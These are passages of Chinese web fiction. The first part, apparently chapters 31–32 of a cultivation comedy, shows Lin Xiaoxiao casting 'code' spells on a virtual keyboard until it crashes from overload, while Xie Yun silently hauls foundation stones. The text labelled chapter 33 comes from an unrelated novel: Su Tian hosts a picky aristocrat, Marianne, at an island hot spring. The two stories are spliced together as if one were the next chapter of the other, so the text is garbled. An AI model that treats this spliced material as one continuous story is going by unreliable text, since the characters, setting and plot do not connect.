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用户[高岭之花观察日记]:截图了!谢首席耳朵红了!脖子也红了!他害羞了!他绝对害羞了!】
【用户[技术流分析]:从肢体语言分析,谢首席处于主导控制位,但心率波动异常剧烈,疑似情绪失控。(打赏1灵石求高清图)】
【用户[金大宝]:柱爷牛逼!这角度绝了!打赏100灵石给柱爷加鸡腿!】
【弹幕护体!】【前方高能!】【我命令你们立刻亲下去!】
海量的弹幕,瞬间淹没了小小的屏幕。各种尖叫,分析,打赏提示疯狂滚动!热度指数如同坐了火箭般直线蹿升!
林笑笑和谢昀僵在原地,感受着彼此身体的僵硬和玉符传来的疯狂震动提示。谢昀扣着林笑笑手腕的手指,因为用力,骨节都有些发白。但那抹绯红,却从脖颈一路烧到了眼尾。林笑笑更是恨不得找个地缝钻进去,脸颊烫得能煎鸡蛋。
“陈!闲!铁!柱!”林笑笑从牙缝里挤出四个字,杀气四溢!
“嗷呜!”铁柱被这突如其来的杀气吓得一哆嗦,叼着的玉符“啪嗒”一声掉在地上,屏幕朝上,依旧顽强地播放着弹幕狂欢。
谢昀猛地吸了一口气,仿佛用尽了全身力气才压下那股毁灭(灭口)的冲动。他闪电般松开了扣着林笑笑手腕和按着她肩膀的手,如同被烙铁烫到般后退一大步,瞬间拉开了两人之间所有的距离。
他飞快地转过身,只留给林笑笑一个挺直却略显僵硬的背影,以及那对在夕阳下依旧红得滴血的耳朵尖。
“凝神!静气!”谢昀的声音恢复了冰冷,甚至比平时更冷,带着一种欲盖弥彰的严厉,强行将话题拉回正轨。“灵力控制,首重心境!摒除杂念,再试一次!目标暖玉!”
他抬手,剑鞘指向远处的靶子,动作僵硬得如同提线木偶。
林笑笑揉着被捏得有些发红的手腕,看着谢昀那副强装镇定却连背影都透着羞愤的模样。再瞄了一眼地上玉符里还在疯狂刷新的【按头】弹幕,脸颊的滚烫感慢慢退去,取而代之的是一种恶作剧得逞般,混合着尴尬和莫名愉悦的古怪情绪。
“摒除杂念,说得容易。”她小声嘟囔了一句,但这次,她没有再搞怪。
或许是刚才的[亲密接触]让她心跳加速,或许是谢昀那强装镇定的模样让她觉得有趣,又或许是被那铺天盖地的弹幕刺激得想证明点什么。林笑笑深吸一口气,努力压下心中翻腾的各种杂念,目光重新聚焦在十丈外那块暖玉靶子上。
她再次抬起双手,悬于虚空键盘之上。这一次,她的动作慢而沉稳,不再追求速度。指尖每一次落下,都带着一种前所未有的专注和一丝奇异,连她自己都未曾察觉的柔和。
意念沉入体内,感受着灵力在经脉中如同溪流般潺潺流淌。不再强行驱赶,而是尝试着引导,梳理。脑海中,不再是高速敲击的代码洪流,而是清晰地勾勒出目标暖玉的位置、距离、甚至纹理。
意动。念至。
随着她心念的专注,指尖流淌出的灵力不再狂暴,变得温顺而凝聚。一个比之前任何一次都要凝实,稳定,散发着柔和橘红色光芒的[炎]字符文,在她身前缓缓成型。符文的结构清晰,稳定,边缘不再模糊。
力。方随。
林笑笑眼神一凝,指尖在虚拟键盘上轻轻一点。
咻!
那橘红色的符文光团,带着轻微的破空声。划出一道笔直而稳定的轨迹,如同被精确制导的导弹,朝着目标暖玉疾射而去!
砰!
一声清脆的炸响!
光团精准无比地命中了暖玉靶子的中心!橘红色的火焰瞬间爆开,将那块坚硬的暖玉炸开一小片蛛网般的裂纹,焦黑一片!虽然威力不算巨大,但落点精准,能量集中,没有丝毫浪费!
成了!
【灵力控制力提升至40%!】
【解锁特殊皮肤:【代码皮肤·粉红少女心】!】
【效果:施法时,灵力代码自动附加粉红色光效及bulingbuling闪光,对特定目标(如谢昀)有概率触发【心神微扰】效果(效果强度视目标心境波动而定)。防御状态下,可生成粉红爱心泡泡护盾(强度一般,但足够沙雕)。】
系统的提示音,在脑海中响起。
林笑笑看着暖玉靶子上的焦痕,又低头看了看自己的指尖。感受着体内那种前所未有,如臂使指的灵力操控感,一股巨大的成就感油然而生。她下意识地看向谢昀,想炫耀一下自己的进步。
却见谢昀不知何时已转回身。他脸上的绯红已经褪去大半,恢复了平日的清冷,只是耳根处还残留着一抹淡淡的粉色。他看着暖玉靶子上精准的焦痕,几不可察地点了点头,清冷的眸光深处,似乎掠过一丝极淡的赞许?
然而,就在林笑笑因为这丝赞许而心头微跳,嘴角忍不住要上扬时。
谢昀的目光,却越过了她,落在了她身后不远处,那片尚未清理的暖玉废墟的阴影处。
他的眼神,瞬间变得锐利如出鞘的利剑!周身那股刚刚平复的清冷气息,骤然变得冰寒刺骨!
林笑笑心头一凛,顺着他的目光猛地回头!
只见那片阴影之中。一块不起眼,之前被铁柱撞碎的暖玉碎片后面,似乎有一道极其模糊,如同水波荡漾般的虚影,一闪而逝!
空气中,残留着一丝极其微弱,却与之前血色符文同源,阴冷污秽的气息!
32. 第32章
键盘死机!社畜的愤怒
断云谷的夜,被尚未完工的巨大温泉地基工地灯火照得亮如白昼。
灵能探照灯(沙雕值兑换的简易版)投下冰冷的光柱,将忙碌的人影拉得细长扭曲。空气中弥漫着灵能水泥未干的湿润土腥、新伐灵木的清新气息,以及。一丝若有若无、被强行压制在地底深处的阴冷魔气余韵。
白日里谢昀那锐利如剑的一瞥,并未捕捉到那暖玉废墟阴影中一闪而逝的虚影。它如同滴入沙地的水,消失得无影无踪,只在空气中留下一点令人不安的、与血色符文同源的冰冷污秽感,很快也被夜风吹散。
但这并未带来丝毫轻松。
重建工程如同一头永不餍足的巨兽,疯狂吞噬着时间、灵石和人力。墨长老那三百万灵石和百巧坊的符文傀儡,只能解决材料和部分粗重劳力。核心的灵力架构、关键节点的符文镌刻、地脉魔气的疏导镇压。这些精细活,还得靠落霞宗自己,靠林笑笑那被系统加持过的“键盘魔法”。
地基坑深处,靠近那道被“稳住别浪”光网兜住、又被“魔音蹦迪”强行将残余魔气压回地脉的巨大裂缝边缘。
林笑笑站在一片刚铺设好的、由巨大暖玉方石构成的地基平台上。她的脸色在探照灯的强光下显得异常苍白,额角和鼻尖布满了细密的汗珠,杏眼中布满了熬夜的血丝,眼神却如同烧红的烙铁,死死盯着下方裂缝深处那翻滚不息的暗紫色魔气残余。
尽管有魔气灯球的前车之鉴,尽管白日里蹦迪驱散了大部分表层魔念,但地脉深处淤积的污秽如同跗骨之蛆,依旧在顽强地渗透、侵蚀着新铺设的符文地基。几处关键的灵力节点连接处,淡青色的符文光芒正以肉眼可见的速度变得黯淡,一丝丝紫黑色的细线如同血管般在暖玉表面悄然蔓延。
“笑笑师妹!东三区灵力回路又报警了!渗透压超标!符文快撑不住了!”陈闲焦急的声音从一个临时搭建的、堆满闪烁玉符的监控台上传来。
“西七区加固钢梁应力异常!有轻微形变!”另一个百巧坊的技术修士也大声示警。
“知道了!催命啊!”林笑笑烦躁地吼了回去,声音带着浓浓的疲惫和沙哑。
她猛地甩了甩头,试图驱散脑海中那如同灌了铅般的沉重感。不行!不能停!地基不稳,整个温泉重建就是空中楼阁!墨长老那三百万和占股三成的“卖身契”随时可能反噬!必须把这该死的魔气压回去!
“给我。锁死!”
林笑笑眼中闪过一丝狠色,低喝一声,十指如穿花蝴蝶,不,是如同两柄高速运转的钻头,在身前的虚空键盘上疯狂敲击起来!速度快得带起了残影,甚至发出了轻微的破空声!
意念如同决堤的洪水,不顾一切地涌入系统!精神力被极限压榨!【灵力适配率:18%。17%。16%。】的红色警告在虚拟面板上疯狂闪烁,每一次闪烁都带来一阵尖锐的刺痛,直刺灵魂深处!
随着她指尖的狂舞,一道道由纯粹灵力构成的、闪烁着刺眼蓝白色光芒的加固符文代码,如同密集的暴雨,从她指尖倾泻而出!
【封禁·九重锁!】
【镇邪·金光印!】
【地脉·引归流!】
【加固·千钧符!】
。。
复杂的代码光流交织成一张张巨大的、层层叠叠的灵力网络,带着一种蛮横不讲理的压迫力,狠狠地砸向地基下方那几处魔气渗透最严重的节点!强行堵住裂缝,加固符文,引导紊乱的地脉灵力!
嗡!嗡!嗡!
地基平台在强大的灵力对冲下微微震颤。裂缝深处翻滚的暗紫色魔气被这狂暴的“代码轰炸”强行压制下去,发出不甘的嘶鸣。那些在暖玉地基上蔓延的紫黑色“血管”如同被烫到般迅速收缩、黯淡。
“东三区压力下降!回路稳定!”
“西七区形变停止!加固符文重新点亮!”
监控台传来好消息。
但林笑笑脸上的疲惫和苍白却更甚一分。她感觉自己的大脑像被无数根针同时穿刺,太阳穴突突狂跳,每一次呼吸都牵扯着干涩灼痛的喉咙。过度消耗的灵力在经脉中如同烧红的烙铁,带来阵阵灼痛。
【警告!灵力适配率持续下降!13%。12%。核心运算单元过载风险极高!建议立即停止!】系统的警报声前所未有的急促和严厉。
“停个屁!”林笑笑在心中怒吼,指尖的动作没有丝毫减缓,反而更加疯狂,“就差最后一点!最后三行[地脉归流]的引导代码!敲完就能彻底把这鬼东西压回地底!给我撑住!”
她咬紧牙关,榨取着经脉中最后一丝灼痛的灵力,指尖在虚拟键盘上划出最后三道凌厉的轨迹!三道比之前更加凝练、带着封印气息的深蓝色代码光流,如同三条锁链,射向裂缝最深处!
滋啦。!!!
就在那三道深蓝代码即将没入裂缝的瞬间!
林笑笑身前的虚空键盘,猛地爆发出一团极其刺眼、如同小型闪电般的蓝白色电火花!刺耳的电流爆鸣声尖锐地撕裂了工地的喧嚣!
一股强烈的麻痹感和灼痛感顺着她的指尖猛地窜遍全身!
她眼前一黑,身体不受控制地剧烈一晃!
紧接着,那由灵力构成的、承载着她所有施法指令的虚拟键盘,所有的光芒如同被瞬间掐灭!所有的符文按键如同死掉的萤火虫,瞬间黯淡、熄灭!整个键盘界面,化作一片死寂的、冰冷的漆黑!
【核心过载!强制保护机制启动!】
【灵力适配率低于临界值(10%)!】
【系统强制进入休眠状态!倒计时:23小时59分59秒。】
冰冷的、毫无感情的机械提示音,如同最后的审判,在死寂一片的脑海中响起。
键盘。死机了。
强行被系统掐断了。
林笑笑僵在原地,保持着手指悬空的姿势,指尖还残留着被电击的麻木感。她看着眼前那片冰冷的漆黑,大脑一片空白。
然后,一股巨大的、混杂着强烈疲惫、功亏一篑的挫败感和被“强制下班”的荒谬愤怒,如同火山般在她胸中轰然爆发!
“啊。!!!”
她猛地抬起头,对着灯火通明的工地夜空,发出了一声嘶哑的、充满了社畜式绝望的咆哮:
“搞什么啊。!!!最后三行!就差最后三行代码!!”
“死机?!强制休眠24小时?!”
“这他妈是修真界还是黑心工厂啊?!也要搞强制996吗?!”
“贼老天!还我键盘。!!!”
她的声音带着哭腔,在空旷的地基坑里回荡,充满了无力回天的悲愤。过度透支的身体和精神在这一刻彻底崩溃,她双腿一软,踉跄着后退几步,脊背重重地撞在身后一堆冰冷、粗糙的暖玉地基石上。
那堆由百巧坊符文傀儡切割搬运过来、还没来得及铺设的巨大暖玉方石,每一块都足有半人高,沉重无比,棱角分明。它们冰冷地矗立在那里,像一座沉默的大山,嘲笑着她的无力。
林笑笑顺着粗糙的石壁滑坐在地,额头抵着冰冷的玉石,汗水混着不知何时涌出的泪水,沿着脸颊滑落,滴在满是尘土的地面上。深深的疲惫如同潮水般将她淹没,连一根手指都不想再动。什么温泉重建,什么债务危机,什么夜枭威胁。这一刻,她只想躺平,睡到天荒地老。
就在她被巨大的绝望和疲惫吞噬之时。
一道颀长而沉默的身影,踏着工地上散落的碎石和木屑,走到了那堆暖玉方石旁。
是谢昀。
他不知在暗处观察了多久。雪缎云纹的剑袍在工地探照灯下依旧纤尘不染,衬得他如同浊世独立的仙人。清冷的脸上没什么表情,只是那双寒潭般的眸子,扫过林笑笑那副靠着石头、生无可恋的狼狈模样,又落在那堆如同小山般的地基石上。
他什么也没说。
没有嘲讽她的不自量力,没有责备她的灵力失控,甚至没有一句“早就告诉过你”。
他只是沉默地伸出手,修长如玉的手指,开始解自己那件昂贵无比、象征着赛博剑阁首席身份的雪缎云纹剑袍的袖口。
一颗,两颗。
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素白无暇、绣着精致云纹的袖口被一丝不苟地解开、翻折上去,露出了一截线条流畅、肌理分明的小臂。月光和灯光下,那肤色冷白,却蕴含着不容忽视的力量感。
然后,他弯下腰。
动作干净利落,没有丝毫拖泥带水。那双刚刚还握着清冷长剑、指点符文精妙的手,此刻毫不犹豫地抓住了一块半人高的暖玉地基石边缘。
沉腰,发力!
沉重的暖玉方石被他硬生生抬起一角!肌肉线条在小臂上绷紧、贲张,带着一种力量的美感。
他稳稳地托住石块的底部,调整重心,转身,迈步。沉重的步伐踏在坑洼不平的地面上,溅起细微的尘土,朝着不远处地基坑中预留的铺设位置走去。
整个过程,沉默无声。
没有动用丝毫灵力,纯粹依靠肉身的力量。昂贵的雪缎衣袖,不可避免地蹭上了暖玉石块表面的灰土,染上了搬运时刮蹭的木屑污迹。但他毫不在意,仿佛那身价值连城的衣袍,此刻与最普通的粗布麻衣并无区别。
林笑笑呆呆地抬起头,泪眼朦胧地看着这一幕。看着那清冷如月的剑阁首席,挽着袖子,像个最普通的力工,沉默地扛起沉重的石头,一步一步,走向需要它的地方。月光落在他染尘的衣袖上,落在他绷紧的小臂上,带着一种难以言喻的冲击力。
一股难以名状的情绪,混杂着惊讶、酸涩和一丝暖意,猛地冲上她的鼻尖。
“吼?”
另一个巨大的黑影也凑了过来。铁柱甩着大脑袋,看看坐在地上生无可恋的林笑笑,又看看沉默搬砖(字面意义)的谢昀,黑眼圈小眼睛里充满了困惑。但它的本能告诉它,这些堆着的大家伙挡住了路(或者说挡住了它靠近林笑笑的路)。
“嗷!”铁柱低吼一声,巨大的身躯猛地往地上一趴!它调整了一下姿势,将自己圆滚滚、毛茸茸、如同小山包般厚实的肚皮,对准了那堆暖玉方石。
然后,它开始发力!
粗壮的后腿如同两个巨大的液压杆,猛地蹬地!整个圆滚滚的身体,利用那惊人的腰腹力量和摩擦力巨大的肚皮,如同一个巨型毛毛虫,又像一台生物推土机,开始吭哧吭哧地、缓慢而坚定地,朝着那堆石头拱了过去!
咚!咚!咚!
沉重的暖玉方石在铁柱那蛮横无比的“肚皮推进”下,被顶得微微晃动、移位!虽然效率远不如谢昀精准搬运,但胜在力大无穷,且自带“萌系推土”的震撼效果。尘土飞扬中,铁柱一边哼哧哼哧地拱,一边还不忘回头对林笑笑咧咧嘴,露出一个憨憨的、仿佛在说“看我的”表情。
一个沉默搬砖,一个肚皮推土。
两个画风迥异却同样震撼的身影,在这片狼藉的工地上,用最原始的方式,对抗着林笑笑留下的“烂摊子”。
林笑笑靠着冰冷的石头,看着眼前这荒诞又莫名令人眼眶发热的一幕,胸中那股社畜的悲愤和绝望,如同被戳破的气球,慢慢地、一点点地泄了下去。取而代之的,是一种深深的疲惫,和一种。想笑的冲动。
她扯了扯嘴角,想对铁柱说句什么,却发现喉咙干涩得发不出声音。过度消耗带来的虚脱感如同潮水般再次涌上,眼皮重若千钧。
就在她的意识即将沉入黑暗的疲惫深渊时。
一道清冽如冰泉、带着一丝凝重的声音,在她身侧响起:
“你的灵力。不对劲。”
林笑笑勉强掀起沉重的眼皮。
苏清霜不知何时已来到她身边,正半蹲着,玄衣窄袖,眉峰紧锁。她并未看那搬砖的谢昀或推土的铁柱,冰冷的目光如同手术刀般,精准地落在林笑笑无力垂落在身侧、指尖还在微微痉挛的右手上。
“方才你强行施法,灵力枯竭时。”苏清霜的声音压得很低,带着一丝不易察觉的惊疑,“我感觉到,你体内残留的那股奇异力量,在反噬。它吞噬的。似乎不只是灵力。”
她伸出两根手指,并未触碰林笑笑,只是虚虚地悬停在她手腕上方寸许。指尖萦绕着一丝极其微弱、却异常锋锐的剑意。
“它在吞噬。你的生机。”
33. 第33章
第33章玛丽安驾到,防晒面罩下的挑剔
【深蓝之心】海底餐厅项目的惊雷,在梦幻岛的上空余音未绕。
琳达的直播间热度尚未消退,火山岩砖工坊的锤声日夜不息。徐青野带着助手在蓝眼泪海域和污染区边缘两头奔波,监测数据堆积如山。
而陈工则彻底陷入了图纸和砖块的海洋,对着苏甜提供,删减掉核心玻璃部分的餐厅基础结构图。一边咆哮着“不可能!”一边又双眼放光地研究如何用他那不科学的火山岩砖去挑战深海。
就在这片重建与狂想交织的喧嚣中。一艘线条流畅,通体雪白的豪华私人游艇。如同优雅的天鹅,悄然滑入梦幻岛唯一那个简陋,被优化后沙质细白但设施依旧原始的天然小港。
船刚停稳,舷梯放下。率先登场的不是客人,而是四名穿着剪裁合体黑西装,戴着墨镜,神情冷峻,动作利落如猎豹的保镖。他们迅速在简陋的栈桥两侧布下警戒,锐利的目光扫视着周围的环境。
原始的沙滩,几间简陋的生态小屋。远处热火朝天的火山岩砖工坊,空气中弥漫着硫磺,海腥和新砍伐木材的气息。保镖们的嘴角几不可察地向下撇了撇,显然对这里的安保环境评估极低。
紧接着,主角登场。
玛丽安·冯·施特劳斯女士。珍珠项链在阳光下闪耀着温润的光泽,硕大的钻石耳坠随着她迈步轻轻晃动。
脸上覆盖着几乎遮住半张脸的顶级防晒蕾丝面罩,一袭剪裁完美的香槟色亚麻度假长裙。脚上却踩着一双与这身优雅打扮格格不入,厚实笨重的登山靴(显然是为了应付岛上糟糕的路况)。
她一手搭在一位同样西装革履,神情一丝不苟的男助理臂弯上。另一只手则捏着一块镶嵌着金边的真丝手帕,虚掩在鼻端,仿佛在抵挡空气中并不存在的异味。
“MyGod。”玛丽安踏上栈桥的木质甲板,脚下传来吱呀一声令人不安的轻响。她立刻发出一声带着浓重鼻音,拖长了调的叹息,防晒面罩下的眉头(虽然看不见)肯定皱得能夹死苍蝇。
“亲爱的詹姆斯,你确定导航没出错?这真的是那个传说中有[星海奇缘]的梦幻岛?而不是某个海盗废弃的补给站?”
她的声音不高,却带着一种天然的穿透力。瞬间吸引了港口寥寥几个工作人员(主要是看管船只的阿土叔伯)的注意。
助理詹姆斯微微躬身,声音平板无波。“夫人,定位无误。这里就是梦幻岛,苏甜小姐已在等候。”他指向栈桥尽头。
苏甜带着琳达(举着自拍杆,镜头早已饥渴地对准了这位气场十足的贵妇)快步迎了上来。苏甜脸上带着恰到好处的热情微笑,心中却绷紧了弦。
玛丽安·冯·施特劳斯。不仅仅是贵妇,更是欧洲老牌贵族后裔、多家顶级艺术基金会理事、社交媒体上坐拥数千万粉丝的顶级生活意见领袖(Ins账号[Marianne]sPearl]以毒舌挑剔和品味卓绝著称)。
她的到来,是打入顶级圈层的黄金门票,也是一场随时可能翻车的严峻考验。
“玛丽安女士!欢迎光临梦幻岛!”苏甜伸出手,笑容真诚。“非常抱歉,条件简陋,让您见笑了。”
玛丽安那双被防晒面罩遮挡了大半,却依旧锐利如鹰隼的蓝灰色眼眸。在苏甜脸上停留了一秒,又快速扫过她身后简陋的港口和远处灰扑扑的营地。最终才矜持地,用指尖轻轻碰了碰苏甜的指尖。一触即分,仿佛怕沾上什么不洁之物。
“Darling苏。”玛丽安的声音带着一丝慵懒的挑剔。“[见笑]这个词,不足以形容我的惊讶。从游艇下来的那一刻,我还以为自己穿越回了。嗯,十九世纪的探险片场。”
她用手帕再次轻轻点了点鼻尖。目光落在苏甜赤着,带着细微划痕和晒痕的脚上,又看看自己脚上笨重的登山靴,发出一声意味不明的轻哼。
“至少,你让我明白了这双靴子的必要性。希望我带来的那些娇嫩的行李箱,能活着抵达我的房间?”
“您的行李我们会小心搬运。”苏甜笑容不变,侧身引路。“这边请,玛丽安女士。您的房间已经准备好了,是我们岛上目前最好的生态小屋。虽然简单,但干净舒适,能看到海景。”她一边走,一边用眼神示意琳达镜头跟上。
通往营地的路,不过是踩踏出来的沙土小径,两旁是野蛮生长的热带灌木。阳光毫无遮拦地倾泻下来,灼热异常。
“这太阳。”玛丽安刚走了几步,就停下脚步,从助理詹姆斯手中接过一把精致的蕾丝阳伞撑开,声音带着夸张的痛苦。
“简直像要把人烤化!我的皮肤!Darling,你们岛上难道没有遮阳廊道吗?或者至少提供一把像样的阳伞?这种紫外线强度,简直是皮肤谋杀!”她挑剔的目光扫过周围光秃秃的环境,不满之情溢于言表。
琳达的直播间弹幕瞬间刷屏。
【贵妇本妇了!】
【防晒面罩+登山靴+蕾丝伞,这混搭绝了!】
【哈哈哈哈皮肤谋杀!太真实了!】
【苏老板快记下来!VIP需求+1:遮阳系统!】
苏甜立刻示意旁边一个原住民少女递上一把用宽大棕榈叶临时编织的遮阳伞(老卡尔的手艺)。“非常抱歉,玛丽安女士。这是岛上目前能提供的遮阳工具,您先凑合用。遮阳廊道已经在我们的规划之中了。”
玛丽安看着那把粗糙,带着自然清香的棕榈叶伞。眼神里掠过一丝嫌弃,但还是勉为其难地接了过来,替换掉自己精致的蕾丝伞,递给助理。“拿着,詹姆斯。这也算是一种原始风情吧。”语气里的勉强谁都听得出来。
终于抵达那间最好的生态小屋。海草屋顶,火山岩砌的墙基(陈工第一批试验品),竹木结构的主体,内部只有简单的藤编家具,一张铺着洁白亚麻床单的木床和一个能看到海景的小露台。
干净,整洁,带着海风的气息,但也仅此而已。和玛丽安游艇上的奢华套房相比,简直是云泥之别。
玛丽安站在门口,防晒面罩下的目光如同探照灯,扫过房间的每一个角落。她走到床边,伸出戴着薄丝手套的手指,轻轻拂过亚麻床单,似乎在检查是否干净。
又走到小小的卫生间门口,探头看了一眼极其简陋的淋浴设施(冷水为主,热水需要临时烧),发出一声更响亮的叹息。
“Oh,dear。”她转过身,捏着手帕的手指点了点太阳穴,声音带着一种[我尽力了但我真的无法忍受]的无奈。
“没有恒温空调?没有智能马桶?没有24小时热水管家?甚至没有一面足够大,能让我完整看到这条项链的镜子?”她优雅地抚了抚颈间的珍珠项链。
“Darling苏,我必须坦白,这住宿条件。低于我的最低预期。这甚至不能称之为[度假],更像是一场生存挑战。”
弹幕再次爆炸。
【哈哈哈哈最低预期!】
【智能马桶!贵妇的刚需!】
【镜子!重点在镜子!要配得上她的珍珠!】
【生存挑战可还行!】
【苏老板压力山大!】
苏甜脸上依旧保持着无可挑剔的微笑,心中却飞速记录着玛丽安的每一个抱怨点。这些挑剔,恰恰是未来升级的方向!是打入顶级市场的精准需求清单!
“非常理解您的感受,玛丽安女士。梦幻岛正处于重生初期,我们正在全力改善。您提出的每一个宝贵意见,都将是我们前进的动力。”苏甜态度诚恳。
“不过,我相信。岛上的一些独特体验,或许能弥补硬件上的不足?”
提到独特体验,玛丽安挑剔的神色终于缓和了一丝。防晒面罩下的眼神亮了起来。“Uniqueexperience?比如呢?让我在太阳底下烤着看砖头吗?”她不忘毒舌一句。
“比如。”苏甜微笑,指向小屋窗外,远处火山地带蒸腾的白色雾气。
“我们独一无二的火山矿物温泉。经过初步验证,水质纯净,富含矿物质,并且。”她刻意停顿了一下,加重语气。
“具有初步确认的舒缓神经,促进微循环的疗愈属性。您一路舟车劳顿,或许可以先去体验一下,消除疲惫?”
“火山温泉?”玛丽安的兴趣明显被勾起了。她走到小露台,眺望着远处的雾气,手指无意识地摩挲着珍珠项链。“疗愈属性?有具体的数据报告吗?徐博士认证过的?”
“徐青野博士正在进行更详尽的成分分析和功效研究。初步的pH值,矿物质含量和用户体感反馈都非常积极。”苏甜回答得滴水不漏。
“而且,我们正在温泉区建造一个原始,但绝对野趣十足的体验点。用的是岛上特有的火山岩,就地取材。”
“原始野趣?”玛丽安挑了挑眉,似乎对这个词有些意动,但随即又撇了撇嘴。“希望不是让我泡在一个石头坑里,还有。”她话锋一转,眼神变得更加锐利。
“你昨天在直播里提到的那个。[深蓝之心]?海底餐厅?那个疯狂的计划,是真的?”
终于切入正题了!苏甜精神一振。
“千真万确,玛丽安女士。”苏甜的语气充满自信和憧憬。
“蓝图已经初步完成。它将依托于我们独特的火山岩环保建材和正在研发的共生技术,建造在珊瑚礁最生机勃勃的区域。”
“想象一下,在梦幻的蓝眼泪环绕下,坐在水晶般的穹顶中。享用美食,与五彩斑斓的鱼群和珊瑚共舞。这将是一次前所未有的,沉浸式的海洋奇遇!”
苏甜的描述极具画面感。玛丽安防晒面罩下的呼吸似乎都微微急促了一些,那双锐利的蓝灰色眼眸中闪烁着真正感兴趣的光芒,甚至带上了一丝不易察觉的狂热。那是对极致新奇体验的追求。
“水晶穹顶?与珊瑚共舞?”她低声重复,手指捻着珍珠项链的尾端。“听起来,像个美丽的童话。Darling苏,你的野心和想象力,让我刮目相看。”她顿了顿,语气带上了一丝认真和商人的精明。
“不过,童话需要坚实的基础。资金?技术?尤其是你提到的那种能在海底自我修复的[神奇玻璃]?它的可行性报告呢?成本预算呢?什么时候能看到具体的方案?”
苏甜心中凛然。玛丽安果然不是单纯的贵妇,她的眼光极其毒辣,直接抓住了最核心也最致命的难点!
“具体方案和部分核心参数正在由徐博士团队和陈工进行最后的核算和细化,很快就能向您展示初步的可行性报告。”苏甜稳住心神,将徐青野和陈工推到了前台做技术背书。
“至于资金和技术合作,这正是我们寻求像您这样具有远见卓识的战略伙伴的原因。”
玛丽安深深地看了苏甜一眼,那目光仿佛能穿透她的表象。半晌,她忽然优雅地转身,对助理詹姆斯吩咐道。
“詹姆斯,把我的行李箱3号和5号拿进来。还有,联系我们在苏黎世的家族办公室,让安德森准备一份关于海洋生态建筑和新型建材的初步投资评估报告,范围。嗯,先按五千万欧元做吧。”
五千万欧元!琳达的镜头剧烈地晃动了一下,直播间瞬间被【!!!】和【富婆!!】刷屏!
苏甜心中狂跳!成了!初步的钩子,抛出去了!
“至于现在。”玛丽安重新转向苏甜,防晒面罩下的唇角似乎勾起了一抹极淡的弧度。“带我去看
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看那个[石头坑]温泉吧。希望它能像你说的那样神奇,否则。”她拖长了调子,用手帕优雅地扇了扇风。
“否则我可能真的要考虑提前结束这场[生存挑战],并且在我的Ins上好好[分享]一下这里的。独特体验了。”威胁与诱惑,完美地糅合在她轻飘飘的话语里。
“绝对不会让您失望。”苏甜自信地微笑引路。
温泉区的原始工坊依旧热火朝天。陈工光着膀子,指挥着工人将一块块深灰色的火山岩砖垒砌成一个巨大,粗糙却带着野性力量感的圆形池壁。
池子中央,蓝宝石般纯净温润的泉水正通过简陋的石槽源源不断地注入,蒸腾起带着纯净硫磺草木香的白色雾气。
看到苏甜带着一位气场强大,打扮奢华的贵妇过来,陈工和工人们都有些局促地停下了手里的活。
“玛丽安女士,这就是我们目前最[原始]的温泉体验点。”苏甜介绍道。“池壁和底部都是就地取材的火山岩,泉水是纯天然引流。”
玛丽安走到池边,挑剔的目光扫过那粗糙的岩壁和凹凸不平的池底,眉头再次蹙起(虽然被面罩挡着)。她蹲下身,戴着丝手套的手指小心翼翼地探入泉水中试了试温度。
“温度,尚可。”她评价道,语气勉强。随即,她的目光被池边一块正在固化的火山岩砖吸引。那块砖颜色深灰,质地粗糙,但形状规整,透着一股坚实感。
“这就是你用来造海底宫殿的[魔法砖]?”玛丽安拿起那块砖,入手沉重冰凉。她掂量了一下,似乎想试试硬度,但看了看自己保养得宜的手,又放弃了。
“是的,玛丽安女士。”陈工鼓起勇气,凑上前一步,秃头上冒着汗,声音带着自豪。“苏老板点子好!这砖,耐压!耐操!泡水里都不带软的!比普通水泥砖强!”
“是吗?”玛丽安不置可否,将砖块放回原处。她的目光再次投向那蓝宝石般的泉水,似乎在做某种心理建设。最终,她仿佛下定了决心,对助理詹姆斯和保镖们挥了挥手。
“你们,退远点。我要体验一下这[野趣]。”
詹姆斯和保镖立刻后退到十米开外,背转身。琳达的镜头也识趣地转向了远处的火山风景。
玛丽安走到池边一块相对平整的火山岩旁(充当换衣凳),在助理递过来的巨大浴巾遮挡下,动作优雅而迅速地褪下了香槟色长裙和登山靴,露出里面一套设计简约却价值不菲的黑色连体泳衣。
她摘下防晒面罩和珍珠项链,小心地交给詹姆斯保管。一张保养得宜,五官深邃,带着典型欧洲贵族冷傲气质的面容暴露在空气中。虽然眼角已有些许岁月痕迹,但那份优雅和威严丝毫不减。
她赤着脚,小心翼翼地踩上池边滚烫的火山岩,眉头微蹙,一步步踏入池水中。
“嘶。”温热的泉水包裹住她的小腿,她发出一声细微的吸气声。但很快,她的表情从忍耐变成了惊讶。
泉水温润,恰到好处地驱散了阳光带来的燥热。那股纯净的硫磺气息混合着草木清香,随着蒸腾的热气钻入鼻腔,带来一种奇异的放松感。
更神奇的是,当泉水漫过她因长时间穿高跟鞋而有些酸胀的脚踝和小腿时,一股温和而持续的暖流仿佛渗透进去,轻柔地抚慰着疲惫的肌肉和紧张的神经。那种舒适感,远非普通温泉可比!
玛丽安缓缓地将身体沉入水中,只露出肩膀和头颈。她靠在粗糙但被水流冲刷得圆润的火山岩池壁上,闭上眼,发出一声极其满足,悠长的叹息。
“Oh。heavenly。”(哦。天堂般的享受。)
她静静地泡着,脸上紧绷的线条彻底放松下来,甚至带上了一丝近乎慵懒的惬意。过了足足十分钟,她才缓缓睁开眼,那双蓝灰色的眼眸里没有了挑剔,只剩下纯粹的享受和一丝意犹未尽。
“Darling苏。”她看向岸边微笑等候的苏甜,声音都柔和了几分。“我必须承认,在硬件条件如此质朴的情况下。这泉水本身,堪称奇迹。它的疗愈感,非常真实。”她顿了顿,补充道,带着一丝贵妇的矜持。
“当然,如果池壁能打磨得更光滑,池底能铺上防滑的石板,旁边能有个放香槟和水果的小石台。再配上专业的SPA按摩服务,那就完美了。”
要求清单再次更新!但这次,是建立在认可基础上的升级建议!
“您的建议非常宝贵!”苏甜笑容更盛。“我们会立刻改进!”
玛丽安满意地点点头,重新闭上眼享受。然而,就在这宁静放松的时刻。
“汪汪汪!汪汪!”
一阵凶悍响亮的犬吠声,突然从温泉区外围的灌木丛中炸响!伴随着低沉,充满威胁性的咆哮!
只见玛丽安带来的四名保镖中。一人手中牵着,一直安静趴伏在阴影里的那头体型健硕如小牛犊。浑身肌肉虬结,眼神锐利如刀的纯种罗威纳护卫犬,此刻竟猛地站了起来!
它颈毛倒竖,獠牙外露。朝着温泉区后方,那片茂密的热带雨林边缘方向,发出狂躁不安的咆哮!巨大的力量拽得牵绳的保镖都一个趔趄!
“阿瑞斯!Quiet!(安静!)”牵犬的保镖厉声呵斥,用力拉住躁动不安的猛犬。
